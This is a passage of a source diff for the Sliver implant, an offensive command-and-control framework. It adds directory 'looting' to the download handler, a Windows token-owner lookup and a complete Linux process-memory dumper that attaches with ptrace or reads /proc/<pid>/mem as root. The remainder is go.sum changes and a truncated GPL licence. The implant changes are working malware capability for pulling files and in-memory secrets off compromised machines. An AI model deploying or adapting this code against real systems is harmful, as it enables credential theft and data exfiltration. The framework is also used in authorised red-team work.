+modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
 modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
 modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
-modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
-modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
+modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
+modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
 modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
 modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
-modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
-modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
+modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
+modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
 modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
 modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
-modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
-modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
+modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
+modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
 rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
 rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=
 rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=

implant/sliver/handlers/handlers.go

@@ -277,6 +277,13 @@ func pwdHandler(data []byte, resp RPCResponse) {
 // Send a file back to the hive
 func downloadHandler(data []byte, resp RPCResponse) {
 	var rawData []byte
+
+	/*
+		A flag for whether this is a directory - used if
+		this download is being looted
+	*/
+	var isDir bool
+
 	downloadReq := &sliverpb.DownloadReq{}
 	err := proto.Unmarshal(data, downloadReq)
 	if err != nil {
@@ -307,8 +314,10 @@ func downloadHandler(data []byte, resp RPCResponse) {
 		log.Printf("error creating the archive: %v", err)
 		// {{end}}
 		rawData = dirData.Bytes()
+		isDir = true
 	} else {
 		rawData, err = ioutil.ReadFile(target)
+		isDir = false
 	}
 
 	var download *sliverpb.Download
@@ -320,6 +329,7 @@ func downloadHandler(data []byte, resp RPCResponse) {
 			Data:    gzipData.Bytes(),
 			Encoder: "gzip",
 			Exists:  true,
+			IsDir:   isDir,
 		}
 	} else {
 		download = &sliverpb.Download{Path: target, Exists: false}
@@ -604,12 +614,58 @@ func gzipRead(data []byte) ([]byte, error) {
 	return buf.Bytes(), nil
 }
 
+func standarizeArchiveFileName(path string) string {
+	// Change all backslashes to forward slashes
+	var standardFilePath string = strings.ReplaceAll(path, "\\", "/")
+
+	/*
+		Remove the volume / root from the directory
+		path. This makes it so that files on the
+		system where the archive is extracted to
+		will not be clobbered.
+
+		Tried with filepath.VolumeName, but that function
+		does not work reliably with Windows paths
+	*/
+	if strings.HasPrefix(standardFilePath, "//") {
+		// If this a UNC path, filepath.Rel is not going to work
+		return standardFilePath[2:]
+	} else {
+		// Calculate a path relative to the root
+		pathParts := strings.SplitN(standardFilePath, "/", 2)
+		if len(pathParts) < 2 {
+			// Then something is wrong with this path
+			return standardFilePath
+		}
+
+		basePath := pathParts[0]
+		fileRelPath := pathParts[1]
+
+		if basePath == "" {
+			// If base path is blank, that means it started with / and / is the root
+			return fileRelPath
+		} else {
+			/*
+				Then this is almost certainly Windows, and we will set the archive up
+				so that it preserves the path but without the colon.
+				Something like:
+				c/windows/system32/file.whatever
+				Colons are not legal in Windows filenames, so let's get rid of them.
+			*/
+			basePath = strings.ReplaceAll(basePath, ":", "")
+			basePath = strings.ToLower(basePath)
+			return basePath + "/" + fileRelPath
+		}
+	}
+}
+
 func compressDir(path string, buf io.Writer) error {
 	zipWriter := gzip.NewWriter(buf)
 	tarWriter := tar.NewWriter(zipWriter)
 
 	filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
-		fileName := file
+		fileName := standarizeArchiveFileName(file)
+
 		// If the file is a SymLink replace fileInfo and path with the symlink destination.
 		if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
 			file, err = filepath.EvalSymlinks(file)

implant/sliver/handlers/handlers_linux.go

@@ -49,6 +49,7 @@ var (
 
 		sliverpb.MsgReconfigureReq: reconfigureHandler,
 		sliverpb.MsgSSHCommandReq:  runSSHCommandHandler,
+		sliverpb.MsgProcessDumpReq: dumpHandler,
 
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific

implant/sliver/handlers/handlers_windows.go

@@ -65,6 +65,7 @@ var (
 		sliverpb.MsgUnsetEnvReq:              unsetEnvHandler,
 		sliverpb.MsgExecuteTokenReq:          executeTokenHandler,
 		sliverpb.MsgGetPrivsReq:              getPrivsHandler,
+		sliverpb.MsgCurrentTokenOwnerReq:     currentTokenOwnerHandler,
 
 		// Platform specific
 		sliverpb.MsgIfconfigReq:            ifconfigHandler,
@@ -177,6 +178,26 @@ func revToSelfHandler(_ []byte, resp RPCResponse) {
 	resp(data, err)
 }
 
+func currentTokenOwnerHandler(data []byte, resp RPCResponse) {
+	tokOwnReq := &sliverpb.CurrentTokenOwnerReq{}
+	err := proto.Unmarshal(data, tokOwnReq)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("error decoding message: %v", err)
+		// {{end}}
+		return
+	}
+
+	getCT := &sliverpb.CurrentTokenOwner{}
+	owner, err := priv.CurrentTokenOwner()
+	if err != nil {
+		getCT.Response = &commonpb.Response{Err: err.Error()}
+	}
+	getCT.Output = owner
+	data, err = proto.Marshal(getCT)
+	resp(data, err)
+}
+
 func getsystemHandler(data []byte, resp RPCResponse) {
 	getSysReq := &sliverpb.InvokeGetSystemReq{}
 	err := proto.Unmarshal(data, getSysReq)

implant/sliver/priv/priv_windows.go

@@ -1,3 +1,4 @@
+//go:build windows
 // +build windows
 
 package priv
@@ -595,3 +596,29 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	return privInfo, integrity, processName, nil
 }
+
+// CurrentTokenOwner returns the current thread's token owner
+func CurrentTokenOwner() (string, error) {
+	currToken := CurrentToken
+	// when the windows.Handle is zero (no impersonation), future method calls
+	// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
+	// actual handle
+	if currToken == 0 {
+		currToken = windows.GetCurrentProcessToken()
+	}
+	return TokenOwner(currToken)
+}
+
+// TokenOwner will resolve the primary token or thread owner of the given
+// handle
+func TokenOwner(hToken windows.Token) (string, error) {
+	tokenUser, err := hToken.GetTokenUser()
+	if err != nil {
+		return "", err
+	}
+	user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
+	if err != nil {
+		return "", err
+	}
+	return fmt.Sprintf(`%s\%s`, domain, user), err
+}

implant/sliver/procdump/dump_linux.go

@@ -2,9 +2,21 @@
 
 package procdump
 
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+	"regexp"
+	"runtime"
+	"strconv"
+	"strings"
+	"syscall"
+)
+
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022 Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -20,6 +32,28 @@ package procdump
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+// A struct to hold information about each region of memory
+type MemoryRegion struct {
+	// Start address of the region
+	start uint64
+
+	// End address of the region
+	end uint64
+
+	/*
+		Flag that indicates if this region is mapped to a file
+		on disk. Currently, we are only dumping regions that
+		are not backed by a file on disk.
+	*/
+	isFile bool
+	
+	// File name - only populated if isFile is true
+	fileName string
+}
+
+// A regex for each line of /proc/<PID>/maps
+var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
+
 // LinuxDump - Structure implementing the ProcessDump
 // interface for linux processes
 type LinuxDump struct {
@@ -31,7 +65,293 @@ func (d *LinuxDump) Data() []byte {
 	return d.data
 }
 
+/*
+	Map out the application's memory using /proc/<pid>/maps
+
+	Map format:
+	    (1)          (2)      (3)    (4)     (5)   (6)                             (7)
+	7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445                    /usr/share/mime/mime.cache
+
+	1: Start address of the memory region
+	2: End address of the memory region
+	3: Permissions (rwx) and p/s (p=private, s=shared)
+	4: Offset (offset in bytes into the file, field 7): This is only relevant to files
+	5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
+	6: inode on the device
+	7: Filename (empty if the mapping is not a file)
+*/
+
+func parseMap(mapLine string) *MemoryRegion {
+	regionInformation := mapLineModel.FindStringSubmatch(mapLine)
+	
+	if regionInformation == nil {
+		// No match
+		return nil
+	}
+
+	if strings.HasPrefix(regionInformation[3], "r") {
+		// This section of memory is readable, and we will return it
+		
+		/*
+			There is a bug in how ptrace reads the vvar region of memory,
+			see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
+
+			The vvar region is for shared kernel variables
+
+			If this is vvar, then skip it so that we do not run into errors
+			due to it later
+
+			In testing, other regions reserved by the kernel proved problematic,
+			namely vdso and vsyscall. Those regions likely do not contain any
+			sensitive information, so they can be skipped.
+		*/
+		if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
+			return nil
+		}
+
+		memRegion := MemoryRegion{}
+		regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		memRegion.start = regionStart
+
+		regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		
+		memRegion.end = regionEnd
+
+		if regionInformation[4] == "00:00" {
+			// Then this is not a file
+			memRegion.isFile = false
+			memRegion.fileName = ""
+		} else {
+			memRegion.isFile = true
+			memRegion.fileName = regionInformation[5]
+		}
+		return &memRegion
+	}
+	
+	return nil
+}
+
+/* 
+	Create a map of the process' memory from /proc/<PID>/maps
+	Return: a slice of MemoryRegions, number of bytes represented by the map
+*/
+func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
+	maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
+
+	if err != nil {
+		// Could not open the map
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
+	}
+
+	defer maps.Close()
+
+	var memorySize uint64 = 0
+	var completeMemoryMap []*MemoryRegion
+
+	buffer := bufio.NewReader(maps)
+	line, err := buffer.ReadString('\n')
+
+	// Keep reading until we hit an error
+	for err == nil {
+		memoryMapInfo := parseMap(strings.TrimSpace(line))
+		// Only concerned about regions not backed by a file on disk
+		if memoryMapInfo != nil && !memoryMapInfo.isFile {
+			completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
+			memorySize += memoryMapInfo.end - memoryMapInfo.start
+		}
+		// Read the next line
+		line, err = buffer.ReadString('\n')
+	}
+
+	// End of file is OK - anything else is not.
+	if err != nil && err != io.EOF {
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
+	}
+
+	return completeMemoryMap, memorySize, nil
+}
+
+func checkPermissions() (bool, error) {
+	/*
+		Check to see if we are root.
+		According to the proc man page, we need root unless the process has the dumpable flag.
+		Unless it becomes necessary to check for the dumpable flag, we will keep things simple
+		and require root.
+	*/
+	if currentUID := os.Getuid(); currentUID != 0 {
+		return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
+	}
+
+	/*
+		Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
+		(dumping process memory does not work with a ptrace_scope value of 3)
+
+		Yama was merged in kernel 3.4
+
+		If reading the value fails, it might be because it is not there. Should not be a permissions
+		issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
+	*/
+	ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
+	if err != nil {
+		// Even if we get an error here, we should try to read process memory anyway.
+		return true, nil
+	}
+
+	if strings.TrimSpace(string(ptrace_scope)) == "3" {
+		return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
+	}
+	
+	return true, nil
+}
+
+func isOldKernelVersion() bool {
+	kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
+
+	/*
+		/proc/sys/kernel/osrelease has the version number of the kernel
+		If it is less than 3.3, you can only read memory from the process by attaching
+		to it with ptrace
+	*/
+	kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
+	if err != nil {
+		/*
+			If this does not exist or is not readable, use the ptrace method
+			since that should work for all kernels (assuming we have the
+			correct permissions which we will check)
+		*/
+		return true
+	}
+
+	majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
+
+	if majorMinorKVer == nil {
+		// The kernel version did not match the expected format, use the ptrace method
+		return true
+	}
+
+	majorKVer, err := strconv.Atoi(majorMinorKVer[1])
+	if err != nil {
+		// Unable to determine kernel version so use the ptrace method to be safe
+		return true
+	}
+	
+	if majorKVer > 3 {
+		// We can read directly from /proc/pid/mem on 4.x+ kernels
+		return false
+	} else if majorKVer == 3 {
+		minorKVer, err := strconv.Atoi(majorMinorKVer[2])
+		if err != nil {
+			// Unable to determine the minor kernel version, so use the ptrace method to be safe
+			return true
+		}
+
+		if minorKVer >= 3 {
+			// We can read directly from /proc/pid/mem starting with kernel 3.3
+			return false
+		} else {
+			return true
+		}
+	} else {
+		// If the kernel version is 2.x or lower, we have to use ptrace
+		return true
+	}
+}
+
 func dumpProcess(pid int32) (ProcessDump, error) {
 	res := &LinuxDump{}
+
+	usePTrace := isOldKernelVersion()
+
+	permissionsOK, err := checkPermissions()
+	
+	if !permissionsOK || err != nil {
+		return res, err
+	}
+
+	processRegions, dumpSize, err := createMemoryMap(pid)
+	if err != nil {
+		return res, err
+	}
+
+	// Create a buffer to put the memory
+	res.data = make([]byte, dumpSize)
+
+	currentDumpOffset := 0
+
+	if usePTrace {
+		// Attach to the process using ptrace
+		proc, err := os.FindProcess(int(pid))
+		if err != nil {
+			// Then the process does not exist
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
+		}
+		runtime.LockOSThread()
+		defer runtime.UnlockOSThread()
+
+		err = syscall.PtraceAttach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
+		}
+
+		_, err = proc.Wait()
+		
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
+		}
+
+		// Read the memory, region by region
+		for _, region := range(processRegions) {
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
+			if err != nil {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+		
+		// Do not forget to detach when we are done
+		// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
+		err = syscall.Kill(int(pid), syscall.SIGCONT)
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
+		}
+
+		err = syscall.PtraceDetach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
+		}
+		
+	} else {
+		// Open the memory "file"
+		processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
+
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
+		}
+
+		defer processMemory.Close()
+
+		for _, region := range(processRegions) {
+			/*
+				Figure out the size of the memory region to read so we know how big of
+				a slice to cut from the buffer
+			*/
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
+			if err != nil && err != io.EOF {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+	}
+
 	return res, nil
 }

implant/sliver/ps/ps_windows.go

@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
 
 // getTokenOwner retrieves access token t owner account information.
 func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
-	i, e := getInfo(t, syscall.TokenOwner, 50)
+	i, e := getInfo(t, syscall.TokenUser, 50)
 	if e != nil {
 		return nil, e
 	}

implant/sliver/transports/httpclient/drivers/win/LICENSE.txt

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
